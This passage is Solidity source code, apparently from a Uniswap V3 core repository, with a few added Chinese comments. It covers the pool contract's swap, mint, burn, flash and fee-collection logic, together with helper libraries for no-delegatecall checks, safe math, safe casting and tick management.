/// @dev Returns the block timestamp truncated to 32 bits, i.e. mod 2**32. This method is overridden in tests.
function _blockTimestamp() internal view virtual returns (uint32) {
return uint32(block.timestamp); // truncation is desired
}
/// @dev Get the pool's balance of token0
/// @dev This function is gas optimized to avoid a redundant extcodesize check in addition to the returndatasize
/// check
function balance0() private view returns (uint256) {
(bool success, bytes memory data) =
token0.staticcall(abi.encodeWithSelector(IERC20Minimal.balanceOf.selector, address(this)));
require(success && data.length >= 32);
return abi.decode(data, (uint256));
}
/// @dev Get the pool's balance of token1
/// @dev This function is gas optimized to avoid a redundant extcodesize check in addition to the returndatasize
/// check
function balance1() private view returns (uint256) {
(bool success, bytes memory data) =
token1.staticcall(abi.encodeWithSelector(IERC20Minimal.balanceOf.selector, address(this)));
require(success && data.length >= 32);
return abi.decode(data, (uint256));
}
/// @inheritdoc IUniswapV3PoolDerivedState
function snapshotCumulativesInside(int24 tickLower, int24 tickUpper)
external
view
override
noDelegateCall
returns (
int56 tickCumulativeInside,
uint160 secondsPerLiquidityInsideX128,
uint32 secondsInside
)
{
checkTicks(tickLower, tickUpper);
int56 tickCumulativeLower;
int56 tickCumulativeUpper;
uint160 secondsPerLiquidityOutsideLowerX128;
uint160 secondsPerLiquidityOutsideUpperX128;
uint32 secondsOutsideLower;
uint32 secondsOutsideUpper;
{
Tick.Info storage lower = ticks[tickLower];
Tick.Info storage upper = ticks[tickUpper];
bool initializedLower;
(tickCumulativeLower, secondsPerLiquidityOutsideLowerX128, secondsOutsideLower, initializedLower) = (
lower.tickCumulativeOutside,
lower.secondsPerLiquidityOutsideX128,
lower.secondsOutside,
lower.initialized
);
require(initializedLower);
bool initializedUpper;
(tickCumulativeUpper, secondsPerLiquidityOutsideUpperX128, secondsOutsideUpper, initializedUpper) = (
upper.tickCumulativeOutside,
upper.secondsPerLiquidityOutsideX128,
upper.secondsOutside,
upper.initialized
);
require(initializedUpper);
}
Slot0 memory _slot0 = slot0;
if (_slot0.tick < tickLower) {
return (
tickCumulativeLower - tickCumulativeUpper,
secondsPerLiquidityOutsideLowerX128 - secondsPerLiquidityOutsideUpperX128,
secondsOutsideLower - secondsOutsideUpper
);
} else if (_slot0.tick < tickUpper) {
uint32 time = _blockTimestamp();
(int56 tickCumulative, uint160 secondsPerLiquidityCumulativeX128) =
observations.observeSingle(
time,
0,
_slot0.tick,
_slot0.observationIndex,
liquidity,
_slot0.observationCardinality
);
return (
tickCumulative - tickCumulativeLower - tickCumulativeUpper,
secondsPerLiquidityCumulativeX128 -
secondsPerLiquidityOutsideLowerX128 -
secondsPerLiquidityOutsideUpperX128,
time - secondsOutsideLower - secondsOutsideUpper
);
} else {
return (
tickCumulativeUpper - tickCumulativeLower,
secondsPerLiquidityOutsideUpperX128 - secondsPerLiquidityOutsideLowerX128,
secondsOutsideUpper - secondsOutsideLower
);
}
}
/// @inheritdoc IUniswapV3PoolDerivedState
function observe(uint32[] calldata secondsAgos)
external
view
override
noDelegateCall
returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s)
{
return
observations.observe(
_blockTimestamp(),
secondsAgos,
slot0.tick,
slot0.observationIndex,//当前索引
liquidity,
slot0.observationCardinality//最大数量
);
}
/// @inheritdoc IUniswapV3PoolActions
function increaseObservationCardinalityNext(uint16 observationCardinalityNext)
external
override
lock
noDelegateCall
{
uint16 observationCardinalityNextOld = slot0.observationCardinalityNext; // for the event
uint16 observationCardinalityNextNew =
observations.grow(observationCardinalityNextOld, observationCardinalityNext);
slot0.observationCardinalityNext = observationCardinalityNextNew;
if (observationCardinalityNextOld != observationCardinalityNextNew)
emit IncreaseObservationCardinalityNext(observationCardinalityNextOld, observationCardinalityNextNew);
}
/// @inheritdoc IUniswapV3PoolActions
/// @dev not locked because it initializes unlocked
function initialize(uint160 sqrtPriceX96) external override {
require(slot0.sqrtPriceX96 == 0, 'AI');
int24 tick = TickMath.getTickAtSqrtRatio(sqrtPriceX96);
(uint16 cardinality, uint16 cardinalityNext) = observations.initialize(_blockTimestamp());
slot0 = Slot0({
sqrtPriceX96: sqrtPriceX96,
tick: tick,
observationIndex: 0,
observationCardinality: cardinality,
observationCardinalityNext: cardinalityNext,
feeProtocol: 0,
unlocked: true
});
emit Initialize(sqrtPriceX96, tick);
}
struct ModifyPositionParams {
// the address that owns the position
address owner;
// the lower and upper tick of the position
int24 tickLower;
int24 tickUpper;
// any change in liquidity
int128 liquidityDelta;
}
/// @dev Effect some changes to a position
/// @param params the position details and the change to the position's liquidity to effect
/// @return position a storage pointer referencing the position with the given owner and tick range
/// @return amount0 the amount of token0 owed to the pool, negative if the pool should pay the recipient
/// @return amount1 the amount of token1 owed to the pool, negative if the pool should pay the recipient
function _modifyPosition(ModifyPositionParams memory params)
private
noDelegateCall
returns (
Position.Info storage position,
int256 amount0,
int256 amount1
)
{
checkTicks(params.tickLower, params.tickUpper);
Slot0 memory _slot0 = slot0; // SLOAD for gas optimization
//结算了fees
position = _updatePosition(
params.owner,
params.tickLower,
params.tickUpper,
params.liquidityDelta,
_slot0.tick
);
if (params.liquidityDelta != 0) {
if (_slot0.tick < params.tickLower) {
// current tick is below the passed range; liquidity can only become in range by crossing from left to
// right, when we'll need _more_ token0 (it's becoming more valuable) so user must provide it
amount0 = SqrtPriceMath.getAmount0Delta(
TickMath.getSqrtRatioAtTick(params.tickLower),
TickMath.getSqrtRatioAtTick(params.tickUpper),
params.liquidityDelta
);
} else if (_slot0.tick < params.tickUpper) {
// current tick is inside the passed range
uint128 liquidityBefore = liquidity; // SLOAD for gas optimization
// write an oracle entry
(slot0.observationIndex, slot0.observationCardinality) = observations.write(
_slot0.observationIndex,
_blockTimestamp(),
_slot0.tick,
liquidityBefore,
_slot0.observationCardinality,
_slot0.observationCardinalityNext
);
amount0 = SqrtPriceMath.getAmount0Delta(
_slot0.sqrtPriceX96,
TickMath.getSqrtRatioAtTick(params.tickUpper),
params.liquidityDelta
);
amount1 = SqrtPriceMath.getAmount1Delta(
TickMath.getSqrtRatioAtTick(params.tickLower),
_slot0.sqrtPriceX96,
params.liquidityDelta
);
liquidity = LiquidityMath.addDelta(liquidityBefore, params.liquidityDelta);
} else {
// current tick is above the passed range; liquidity can only become in range by crossing from right to
// left, when we'll need _more_ token1 (it's becoming more valuable) so user must provide it
amount1 = SqrtPriceMath.getAmount1Delta(
TickMath.getSqrtRatioAtTick(params.tickLower),
TickMath.getSqrtRatioAtTick(params.tickUpper),
params.liquidityDelta
);
}
}
}
/// @dev Gets and updates a position with the given liquidity delta
/// @param owner the owner of the position
/// @param tickLower the lower tick of the position's tick range
/// @param tickUpper the upper tick of the position's tick range
/// @param tick the current tick, passed to avoid sloads
function _updatePosition(
address owner,
int24 tickLower,
int24 tickUpper,
int128 liquidityDelta,
int24 tick
) private returns (Position.Info storage position) {
position = positions.get(owner, tickLower, tickUpper);
uint256 _feeGrowthGlobal0X128 = feeGrowthGlobal0X128; // SLOAD for gas optimization
uint256 _feeGrowthGlobal1X128 = feeGrowthGlobal1X128; // SLOAD for gas optimization
// if we need to update the ticks, do it
bool flippedLower;
bool flippedUpper;
if (liquidityDelta != 0) {
uint32 time = _blockTimestamp();
(int56 tickCumulative, uint160 secondsPerLiquidityCumulativeX128) =
observations.observeSingle(
time,
0,
slot0.tick,
slot0.observationIndex,
liquidity,
slot0.observationCardinality
);
flippedLower = ticks.update(
tickLower,
tick,
liquidityDelta,
_feeGrowthGlobal0X128,
_feeGrowthGlobal1X128,
secondsPerLiquidityCumulativeX128,
tickCumulative,
time,
false,
maxLiquidityPerTick
);
flippedUpper = ticks.update(
tickUpper,
tick,
liquidityDelta,
_feeGrowthGlobal0X128,
_feeGrowthGlobal1X128,
secondsPerLiquidityCumulativeX128,
tickCumulative,
time,
true,
maxLiquidityPerTick
);
if (flippedLower) {
tickBitmap.flipTick(tickLower, tickSpacing);
}
if (flippedUpper) {
tickBitmap.flipTick(tickUpper, tickSpacing);
}
}
//获取最新的 feeGrowthInside0X128 feeGrowthInside1X128
(uint256 feeGrowthInside0X128, uint256 feeGrowthInside1X128) =
ticks.getFeeGrowthInside(tickLower, tickUpper, tick, _feeGrowthGlobal0X128, _feeGrowthGlobal1X128);
//更新position的 feeGrowthInside0X128 feeGrowthInside1X128
position.update(liquidityDelta, feeGrowthInside0X128, feeGrowthInside1X128);
// clear any tick data that is no longer needed
if (liquidityDelta < 0) {
if (flippedLower) {
ticks.clear(tickLower);
}
if (flippedUpper) {
ticks.clear(tickUpper);
}
}
}
/// @inheritdoc IUniswapV3PoolActions
/// @dev noDelegateCall is applied indirectly via _modifyPosition
function mint(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount,
bytes calldata data
) external override lock returns (uint256 amount0, uint256 amount1) {
require(amount > 0);
// 这里面是计算了手续费的
(, int256 amount0Int, int256 amount1Int) =
_modifyPosition(
ModifyPositionParams({
owner: recipient,
tickLower: tickLower,
tickUpper: tickUpper,
liquidityDelta: int256(amount).toInt128()
})
);
amount0 = uint256(amount0Int);
amount1 = uint256(amount1Int);
uint256 balance0Before;
uint256 balance1Before;
if (amount0 > 0) balance0Before = balance0();
if (amount1 > 0) balance1Before = balance1();
IUniswapV3MintCallback(msg.sender).uniswapV3MintCallback(amount0, amount1, data);
if (amount0 > 0) require(balance0Before.add(amount0) <= balance0(), 'M0');
if (amount1 > 0) require(balance1Before.add(amount1) <= balance1(), 'M1');
emit Mint(msg.sender, recipient, tickLower, tickUpper, amount, amount0, amount1);
}
/// @inheritdoc IUniswapV3PoolActions
function collect(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount0Requested,
uint128 amount1Requested
) external override lock returns (uint128 amount0, uint128 amount1) {
// we don't need to checkTicks here, because invalid positions will never have non-zero tokensOwed{0,1}
Position.Info storage position = positions.get(msg.sender, tickLower, tickUpper);
amount0 = amount0Requested > position.tokensOwed0 ? position.tokensOwed0 : amount0Requested;
amount1 = amount1Requested > position.tokensOwed1 ? position.tokensOwed1 : amount1Requested;
if (amount0 > 0) {
position.tokensOwed0 -= amount0;
TransferHelper.safeTransfer(token0, recipient, amount0);
}
if (amount1 > 0) {
position.tokensOwed1 -= amount1;
TransferHelper.safeTransfer(token1, recipient, amount1);
}
emit Collect(msg.sender, recipient, tickLower, tickUpper, amount0, amount1);
}
/// @inheritdoc IUniswapV3PoolActions
/// @dev noDelegateCall is applied indirectly via _modifyPosition
function burn(
int24 tickLower,
int24 tickUpper,
uint128 amount
) external override lock returns (uint256 amount0, uint256 amount1) {
// 这里面是计算了手续费的
(Position.Info storage position, int256 amount0Int, int256 amount1Int) =
_modifyPosition(
ModifyPositionParams({
owner: msg.sender,
tickLower: tickLower,
tickUpper: tickUpper,
liquidityDelta: -int256(amount).toInt128()
})
);
amount0 = uint256(-amount0Int);
amount1 = uint256(-amount1Int);
if (amount0 > 0 || amount1 > 0) {
(position.tokensOwed0, position.tokensOwed1) = (
position.tokensOwed0 + uint128(amount0),
position.tokensOwed1 + uint128(amount1)
);
}
emit Burn(msg.sender, tickLower, tickUpper, amount, amount0, amount1);
}
struct SwapCache {
// the protocol fee for the input token
uint8 feeProtocol;
// liquidity at the beginning of the swap
uint128 liquidityStart;
// the timestamp of the current block
uint32 blockTimestamp;
// the current value of the tick accumulator, computed only if we cross an initialized tick
int56 tickCumulative;
// the current value of seconds per liquidity accumulator, computed only if we cross an initialized tick
uint160 secondsPerLiquidityCumulativeX128;
// whether we've computed and cached the above two accumulators
bool computedLatestObservation;
}
// the top level state of the swap, the results of which are recorded in storage at the end
struct SwapState {
// the amount remaining to be swapped in/out of the input/output asset
int256 amountSpecifiedRemaining;
// the amount already swapped out/in of the output/input asset
int256 amountCalculated;
// current sqrt(price)
uint160 sqrtPriceX96;
// the tick associated with the current price
int24 tick;
// the global fee growth of the input token
uint256 feeGrowthGlobalX128;
// amount of input token paid as protocol fee
uint128 protocolFee;
// the current liquidity in range
uint128 liquidity;
}
struct StepComputations {
// the price at the beginning of the step
uint160 sqrtPriceStartX96;
// the next tick to swap to from the current tick in the swap direction
int24 tickNext;
// whether tickNext is initialized or not
bool initialized;
// sqrt(price) for the next tick (1/0)
uint160 sqrtPriceNextX96;
// how much is being swapped in in this step
uint256 amountIn;
// how much is being swapped out
uint256 amountOut;
// how much fee is being paid in
uint256 feeAmount;
}
/// @inheritdoc IUniswapV3PoolActions
function swap(
address recipient,
bool zeroForOne,
int256 amountSpecified,
uint160 sqrtPriceLimitX96,
bytes calldata data
) external override noDelegateCall returns (int256 amount0, int256 amount1) {
require(amountSpecified != 0, 'AS');//如果中间路径得到的amountSpecified就是0
Slot0 memory slot0Start = slot0;
require(slot0Start.unlocked, 'LOK');
require(
zeroForOne
? sqrtPriceLimitX96 < slot0Start.sqrtPriceX96 && sqrtPriceLimitX96 > TickMath.MIN_SQRT_RATIO
: sqrtPriceLimitX96 > slot0Start.sqrtPriceX96 && sqrtPriceLimitX96 < TickMath.MAX_SQRT_RATIO,
'SPL'
);
slot0.unlocked = false;
SwapCache memory cache =
SwapCache({
liquidityStart: liquidity,
blockTimestamp: _blockTimestamp(),
feeProtocol: zeroForOne ? (slot0Start.feeProtocol % 16) : (slot0Start.feeProtocol >> 4),
secondsPerLiquidityCumulativeX128: 0,
tickCumulative: 0,
computedLatestObservation: false
});
bool exactInput = amountSpecified > 0;
SwapState memory state =
SwapState({
amountSpecifiedRemaining: amountSpecified,
amountCalculated: 0,
sqrtPriceX96: slot0Start.sqrtPriceX96,
tick: slot0Start.tick,
feeGrowthGlobalX128: zeroForOne ? feeGrowthGlobal0X128 : feeGrowthGlobal1X128,
protocolFee: 0,
liquidity: cache.liquidityStart
});
// continue swapping as long as we haven't used the entire input/output and haven't reached the price limit
while (state.amountSpecifiedRemaining != 0 && state.sqrtPriceX96 != sqrtPriceLimitX96) {
StepComputations memory step;
step.sqrtPriceStartX96 = state.sqrtPriceX96;
(step.tickNext, step.initialized) = tickBitmap.nextInitializedTickWithinOneWord(
state.tick,
tickSpacing,
zeroForOne
);
// ensure that we do not overshoot the min/max tick, as the tick bitmap is not aware of these bounds
if (step.tickNext < TickMath.MIN_TICK) {
step.tickNext = TickMath.MIN_TICK;
} else if (step.tickNext > TickMath.MAX_TICK) {
step.tickNext = TickMath.MAX_TICK;
}
// get the price for the next tick
step.sqrtPriceNextX96 = TickMath.getSqrtRatioAtTick(step.tickNext);
// compute values to swap to the target tick, price limit, or point where input/output amount is exhausted
(state.sqrtPriceX96, step.amountIn, step.amountOut, step.feeAmount) = SwapMath.computeSwapStep(
state.sqrtPriceX96,
(zeroForOne ? step.sqrtPriceNextX96 < sqrtPriceLimitX96 : step.sqrtPriceNextX96 > sqrtPriceLimitX96)
? sqrtPriceLimitX96
: step.sqrtPriceNextX96,
state.liquidity,
state.amountSpecifiedRemaining,
fee
);
if (exactInput) {
state.amountSpecifiedRemaining -= (step.amountIn + step.feeAmount).toInt256();
state.amountCalculated = state.amountCalculated.sub(step.amountOut.toInt256());
} else {
state.amountSpecifiedRemaining += step.amountOut.toInt256();
state.amountCalculated = state.amountCalculated.add((step.amountIn + step.feeAmount).toInt256());
}
// if the protocol fee is on, calculate how much is owed, decrement feeAmount, and increment protocolFee
if (cache.feeProtocol > 0) {
uint256 delta = step.feeAmount / cache.feeProtocol;
step.feeAmount -= delta;
state.protocolFee += uint128(delta);
}
// update global fee tracker
if (state.liquidity > 0)
state.feeGrowthGlobalX128 += FullMath.mulDiv(step.feeAmount, FixedPoint128.Q128, state.liquidity);
// shift tick if we reached the next price
if (state.sqrtPriceX96 == step.sqrtPriceNextX96) {
// if the tick is initialized, run the tick transition
if (step.initialized) {
// check for the placeholder value, which we replace with the actual value the first time the swap
// crosses an initialized tick
if (!cache.computedLatestObservation) {
(cache.tickCumulative, cache.secondsPerLiquidityCumulativeX128) = observations.observeSingle(
cache.blockTimestamp,
0,
slot0Start.tick,
slot0Start.observationIndex,
cache.liquidityStart,
slot0Start.observationCardinality
);
cache.computedLatestObservation = true;
}
int128 liquidityNet =
ticks.cross(
step.tickNext,
(zeroForOne ? state.feeGrowthGlobalX128 : feeGrowthGlobal0X128),
(zeroForOne ? feeGrowthGlobal1X128 : state.feeGrowthGlobalX128),
cache.secondsPerLiquidityCumulativeX128,
cache.tickCumulative,
cache.blockTimestamp
);
// if we're moving leftward, we interpret liquidityNet as the opposite sign
// safe because liquidityNet cannot be type(int128).min
if (zeroForOne) liquidityNet = -liquidityNet;
state.liquidity = LiquidityMath.addDelta(state.liquidity, liquidityNet);
}
state.tick = zeroForOne ? step.tickNext - 1 : step.tickNext;
} else if (state.sqrtPriceX96 != step.sqrtPriceStartX96) {
// recompute unless we're on a lower tick boundary (i.e. already transitioned ticks), and haven't moved
state.tick = TickMath.getTickAtSqrtRatio(state.sqrtPriceX96);
}
}
// update tick and write an oracle entry if the tick change
if (state.tick != slot0Start.tick) {
(uint16 observationIndex, uint16 observationCardinality) =
observations.write(
slot0Start.observationIndex,
cache.blockTimestamp,
slot0Start.tick,
cache.liquidityStart,
slot0Start.observationCardinality,
slot0Start.observationCardinalityNext
);
(slot0.sqrtPriceX96, slot0.tick, slot0.observationIndex, slot0.observationCardinality) = (
state.sqrtPriceX96,
state.tick,
observationIndex,
observationCardinality
);
} else {
// otherwise just update the price
slot0.sqrtPriceX96 = state.sqrtPriceX96;
}
// update liquidity if it changed
if (cache.liquidityStart != state.liquidity) liquidity = state.liquidity;
// update fee growth global and, if necessary, protocol fees
// overflow is acceptable, protocol has to withdraw before it hits type(uint128).max fees
if (zeroForOne) {
feeGrowthGlobal0X128 = state.feeGrowthGlobalX128;
if (state.protocolFee > 0) protocolFees.token0 += state.protocolFee;
} else {
feeGrowthGlobal1X128 = state.feeGrowthGlobalX128;
if (state.protocolFee > 0) protocolFees.token1 += state.protocolFee;
}
(amount0, amount1) = zeroForOne == exactInput
? (amountSpecified - state.amountSpecifiedRemaining, state.amountCalculated)
: (state.amountCalculated, amountSpecified - state.amountSpecifiedRemaining);
// do the transfers and collect payment
if (zeroForOne) {
if (amount1 < 0) TransferHelper.safeTransfer(token1, recipient, uint256(-amount1));
uint256 balance0Before = balance0();
IUniswapV3SwapCallback(msg.sender).uniswapV3SwapCallback(amount0, amount1, data);
require(balance0Before.add(uint256(amount0)) <= balance0(), 'IIA');
} else {
if (amount0 < 0) TransferHelper.safeTransfer(token0, recipient, uint256(-amount0));
uint256 balance1Before = balance1();
IUniswapV3SwapCallback(msg.sender).uniswapV3SwapCallback(amount0, amount1, data);
require(balance1Before.add(uint256(amount1)) <= balance1(), 'IIA');
}
emit Swap(msg.sender, recipient, amount0, amount1, state.sqrtPriceX96, state.liquidity, state.tick);
slot0.unlocked = true;
}
/// @inheritdoc IUniswapV3PoolActions
function flash(
address recipient,
uint256 amount0,
uint256 amount1,
bytes calldata data
) external override lock noDelegateCall {
uint128 _liquidity = liquidity;
require(_liquidity > 0, 'L');
uint256 fee0 = FullMath.mulDivRoundingUp(amount0, fee, 1e6);
uint256 fee1 = FullMath.mulDivRoundingUp(amount1, fee, 1e6);
uint256 balance0Before = balance0();
uint256 balance1Before = balance1();
if (amount0 > 0) TransferHelper.safeTransfer(token0, recipient, amount0);
if (amount1 > 0) TransferHelper.safeTransfer(token1, recipient, amount1);
IUniswapV3FlashCallback(msg.sender).uniswapV3FlashCallback(fee0, fee1, data);
uint256 balance0After = balance0();
uint256 balance1After = balance1();
require(balance0Before.add(fee0) <= balance0After, 'F0');
require(balance1Before.add(fee1) <= balance1After, 'F1');
// sub is safe because we know balanceAfter is gt balanceBefore by at least fee
uint256 paid0 = balance0After - balance0Before;
uint256 paid1 = balance1After - balance1Before;
if (paid0 > 0) {
uint8 feeProtocol0 = slot0.feeProtocol % 16;
uint256 fees0 = feeProtocol0 == 0 ? 0 : paid0 / feeProtocol0;
if (uint128(fees0) > 0) protocolFees.token0 += uint128(fees0);
feeGrowthGlobal0X128 += FullMath.mulDiv(paid0 - fees0, FixedPoint128.Q128, _liquidity);
}
if (paid1 > 0) {
uint8 feeProtocol1 = slot0.feeProtocol >> 4;
uint256 fees1 = feeProtocol1 == 0 ? 0 : paid1 / feeProtocol1;
if (uint128(fees1) > 0) protocolFees.token1 += uint128(fees1);
feeGrowthGlobal1X128 += FullMath.mulDiv(paid1 - fees1, FixedPoint128.Q128, _liquidity);
}
emit Flash(msg.sender, recipient, amount0, amount1, paid0, paid1);
}
/// @inheritdoc IUniswapV3PoolOwnerActions
function setFeeProtocol(uint8 feeProtocol0, uint8 feeProtocol1) external override lock onlyFactoryOwner {
require(
(feeProtocol0 == 0 || (feeProtocol0 >= 4 && feeProtocol0 <= 10)) &&
(feeProtocol1 == 0 || (feeProtocol1 >= 4 && feeProtocol1 <= 10))
);
uint8 feeProtocolOld = slot0.feeProtocol;
slot0.feeProtocol = feeProtocol0 + (feeProtocol1 << 4);
emit SetFeeProtocol(feeProtocolOld % 16, feeProtocolOld >> 4, feeProtocol0, feeProtocol1);
}
/// @inheritdoc IUniswapV3PoolOwnerActions
function collectProtocol(
address recipient,
uint128 amount0Requested,
uint128 amount1Requested
) external override lock onlyFactoryOwner returns (uint128 amount0, uint128 amount1) {
amount0 = amount0Requested > protocolFees.token0 ? protocolFees.token0 : amount0Requested;
amount1 = amount1Requested > protocolFees.token1 ? protocolFees.token1 : amount1Requested;
if (amount0 > 0) {
if (amount0 == protocolFees.token0) amount0--; // ensure that the slot is not cleared, for gas savings
protocolFees.token0 -= amount0;
TransferHelper.safeTransfer(token0, recipient, amount0);
}
if (amount1 > 0) {
if (amount1 == protocolFees.token1) amount1--; // ensure that the slot is not cleared, for gas savings
protocolFees.token1 -= amount1;
TransferHelper.safeTransfer(token1, recipient, amount1);
}
emit CollectProtocol(msg.sender, recipient, amount0, amount1);
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
import './pool/IUniswapV3PoolImmutables.sol';
import './pool/IUniswapV3PoolState.sol';
import './pool/IUniswapV3PoolDerivedState.sol';
import './pool/IUniswapV3PoolActions.sol';
import './pool/IUniswapV3PoolOwnerActions.sol';
import './pool/IUniswapV3PoolEvents.sol';
/// @title The interface for a Uniswap V3 Pool
/// @notice A Uniswap pool facilitates swapping and automated market making between any two assets that strictly conform
/// to the ERC20 specification
/// @dev The pool interface is broken up into many smaller pieces
interface IUniswapV3Pool is
IUniswapV3PoolImmutables,
IUniswapV3PoolState,
IUniswapV3PoolDerivedState,
IUniswapV3PoolActions,
IUniswapV3PoolOwnerActions,
IUniswapV3PoolEvents
{
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity =0.7.6;
/// @title Prevents delegatecall to a contract
/// @notice Base contract that provides a modifier for preventing delegatecall to methods in a child contract
abstract contract NoDelegateCall {
/// @dev The original address of this contract
address private immutable original;
constructor() {
// Immutables are computed in the init code of the contract, and then inlined into the deployed bytecode.
// In other words, this variable won't change when it's checked at runtime.
original = address(this);
}
/// @dev Private method is used instead of inlining into modifier because modifiers are copied into each method,
/// and the use of immutable means the address bytes are copied in every place the modifier is used.
function checkNotDelegateCall() private view {
require(address(this) == original);
}
/// @notice Prevents delegatecall into the modified method
modifier noDelegateCall() {
checkNotDelegateCall();
_;
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.7.0;
/// @title Optimized overflow and underflow safe math operations
/// @notice Contains methods for doing math operations that revert on overflow or underflow for minimal gas cost
library LowGasSafeMath {
/// @notice Returns x + y, reverts if sum overflows uint256
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x);
}
/// @notice Returns x - y, reverts if underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x);
}
/// @notice Returns x * y, reverts if overflows
/// @param x The multiplicand
/// @param y The multiplier
/// @return z The product of x and y
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(x == 0 || (z = x * y) / x == y);
}
/// @notice Returns x + y, reverts if overflows or underflows
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x + y) >= x == (y >= 0));
}
/// @notice Returns x - y, reverts if overflows or underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x - y) <= x == (y >= 0));
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Safe casting methods
/// @notice Contains methods for safely casting between types
library SafeCast {
/// @notice Cast a uint256 to a uint160, revert on overflow
/// @param y The uint256 to be downcasted
/// @return z The downcasted integer, now type uint160
function toUint160(uint256 y) internal pure returns (uint160 z) {
require((z = uint160(y)) == y);
}
/// @notice Cast a int256 to a int128, revert on overflow or underflow
/// @param y The int256 to be downcasted
/// @return z The downcasted integer, now type int128
function toInt128(int256 y) internal pure returns (int128 z) {
require((z = int128(y)) == y);
}
/// @notice Cast a uint256 to a int256, revert on overflow
/// @param y The uint256 to be casted
/// @return z The casted integer, now type int256
function toInt256(uint256 y) internal pure returns (int256 z) {
require(y < 2**255);
z = int256(y);
}
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity >=0.5.0;
import './LowGasSafeMath.sol';
import './SafeCast.sol';
import './TickMath.sol';
import './LiquidityMath.sol';
/// @title Tick
/// @notice Contains functions for managing tick processes and relevant calculations
library Tick {
using LowGasSafeMath for int256;
using SafeCast for int256;
// info stored for each initialized individual tick
struct Info {
// the total position liquidity that references this tick
uint128 liquidityGross;
// amount of net liquidity added (subtracted) when tick is crossed from left to right (right to left),
int128 liquidityNet;
// fee growth per unit of liquidity on the _other_ side of this tick (relative to the current tick)
// only has relative meaning, not absolute — the value depends on when the tick is initialized
uint256 feeGrowthOutside0X128;
uint256 feeGrowthOutside1X128;
// the cumulative tick value on the other side of the tick
int56 tickCumulativeOutside;
// the seconds per unit of liquidity on the _other_ side of this tick (relative to the current tick)
// only has relative meaning, not absolute — the value depends on when the tick is initialized
uint160 secondsPerLiquidityOutsideX128;
// the seconds spent on the other side of the tick (relative to the current tick)
// only has relative meaning, not absolute — the value depends on when the tick is initialized
uint32 secondsOutside;
// true iff the tick is initialized, i.e. the value is exactly equivalent to the expression liquidityGross != 0
// these 8 bits are set to prevent fresh sstores when crossing newly initialized ticks
bool initialized;
}
/// @notice Derives max liquidity per tick from given tick spacing
/// @dev Executed within the pool constructor
/// @param tickSpacing The amount of required tick separation, realized in multiples of `tickSpacing`
/// e.g., a tickSpacing of 3 requires ticks to be initialized every 3rd tick i.e., ..., -6, -3, 0, 3, 6, ...
/// @return The max liquidity per tick
function tickSpacingToMaxLiquidityPerTick(int24 tickSpacing) internal pure returns (uint128) {
int24 minTick = (TickMath.MIN_TICK / tickSpacing) * tickSpacing;
int24 maxTick = (TickMath.MAX_TICK / tickSpacing) * tickSpacing;
uint24 numTicks = uint24((maxTick - minTick) / tickSpacing) + 1;
return type(uint128).max / numTicks;
}
/// @notice Retrieves fee growth data
/// @param self The mapping containing all tick information for initialized ticks
/// @param tickLower The lower tick boundary of the position
/// @param tickUpper The upper tick boundary of the position
/// @param tickCurrent The current tick
/// @param feeGrowthGlobal0X128 The all-time global fee growth, per unit of liquidity, in token0
/// @param feeGrowthGlobal1X128 The all-time global fee growth, per unit of liquidity, in token1
/// @return feeGrowthInside0X128 The all-time fee growth in token0, per unit of liquidity, inside the position's tick boundaries
/// @return feeGrowthInside1X128 The all-time fee growth in token1, per unit of liquidity, inside the position's tick boundaries
function getFeeGrowthInside(
mapping(int24 => Tick.Info) storage self,
int24 tickLower,
int24 tickUpper,
int24 tickCurrent,
uint256 feeGrowthGlobal0X128,
uint256 feeGrowthGlobal1X128
) internal view returns (uint256 feeGrowthInside0X128, uint256 feeGrowthInside1X128) {
Info storage lower = self[tickLower];
Info storage upper = self[tickUpper];
// calculate fee growth below
uint256 feeGrowthBelow0X128;
uint256 feeGrowthBelow1X128;
if (tickCurrent >= tickLower) {
feeGrowthBelow0X128 = lower.feeGrowthOutside0X128;
feeGrowthBelow1X128 = lower.feeGrowthOutside1X128;
} else {
feeGrowthBelow0X128 = feeGrowthGlobal0X128 - lower.feeGrowthOutside0X128;
feeGrowthBelow1X128 = feeGrowthGlobal1X128 - lower.feeGrowthOutside1X128;
}
// calculate fee growth above
uint256 feeGrowthAbove0X128;
uint256 feeGrowthAbove1X128;
if (tickCurrent < tickUpper) {
feeGrowthAbove0X128 = upper.feeGrowthOutside0X128;
feeGrowthAbove1X128 = upper.feeGrowthOutside1X128;
} else {
feeGrowthAbove0X128 = feeGrowthGlobal0X128 - upper.feeGrowthOutside0X128;
feeGrowthAbove1X128 = feeGrowthGlobal1X128 - upper.feeGrowthOutside1X128;
}
feeGrowthInside0X128 = feeGrowthGlobal0X128 - feeGrowthBelow0X128 - feeGrowthAbove0X128;
feeGrowthInside1X128 = feeGrowthGlobal1X128 - feeGrowthBelow1X128 - feeGrowthAbove1X128;
}
/// @notice Updates a tick and returns true if the tick was flipped from initialized to uninitialized, or vice versa
/// @param self The mapping containing all tick information for initialized ticks
/// @param tick The tick that will be updated
/// @param tickCurrent The current tick
/// @param liquidityDelta A new amount of liquidity to be added (subtracted) when tick is crossed from left to right (right to left)
/// @param feeGrowthGlobal0X128 The all-time global fee growth, per unit of liquidity, in token0
/// @param feeGrowthGlobal1X128 The all-time global fee growth, per unit of liquidity, in token1
/// @param secondsPerLiquidityCumulativeX128 The all-time seconds per max(1, liquidity) of the pool
/// @param time The current block timestamp cast to a uint32
/// @param upper true for updating a position's upper tick, or false for updating a position's lower tick
